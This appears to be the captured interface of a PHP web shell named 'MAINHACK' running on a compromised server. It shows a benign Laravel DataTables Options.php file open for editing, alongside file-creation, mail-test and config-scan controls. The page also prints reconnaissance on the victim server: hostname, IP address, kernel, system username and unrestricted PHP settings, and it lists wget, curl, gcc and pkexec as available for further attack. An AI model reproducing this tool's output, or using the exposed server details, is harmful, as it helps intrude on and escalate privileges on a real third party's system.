[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Options.php
<?php namespace Yajra\DataTables\Html\Editor\Fields; use Closure; use Illuminate\Contracts\Database\Eloquent\Builder as EloquentBuilder; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Query\Builder; use Illuminate\Support\Collection; use Illuminate\Support\Facades\DB; /** * @template TKey of array-key * @template TValue */ class Options extends Collection { /** * Return a Yes/No options. */ public static function yesNo(): static { $data = [ ['label' => __('Yes'), 'value' => 1], ['label' => __('No'), 'value' => 0], ]; return new static($data); } /** * Get options from a model. * * @param class-string<Model>|\Illuminate\Database\Eloquent\Builder $model */ public static function model(string|EloquentBuilder $model, string $value, string $key = 'id'): Collection { if (! $model instanceof EloquentBuilder) { $model = $model::query(); } return $model->get()->map(fn ($model) => [ 'value' => $model->{$key}, 'label' => $model->{$value}, ]); } /** * Get options from a table. */ public static function table( Closure|Builder|string $table, string $value, string $key = 'id', ?Closure $callback = null, ?string $connection = null ): Collection { $query = DB::connection($connection) ->table($table) ->select("$value as label", "$key as value"); if (is_callable($callback)) { $callback($query); } return $query->get()->map(fn ($row) => (array) $row); } /** * Return a True/False options. */ public static function trueFalse(): static { $data = [ ['label' => __('True'), 'value' => 1], ['label' => __('False'), 'value' => 0], ]; return new static($data); } /** * Push an item onto the end of the collection. */ public function append(string $value, int|string $key): static { return $this->push(['label' => $value, 'value' => $key]); } /** * Push an item onto the beginning of the collection. * * @param TValue $value * @param TKey $key */ public function prepend($value, $key = null): static { $data = ['label' => $value, 'value' => $key]; return parent::prepend($data); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.57 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002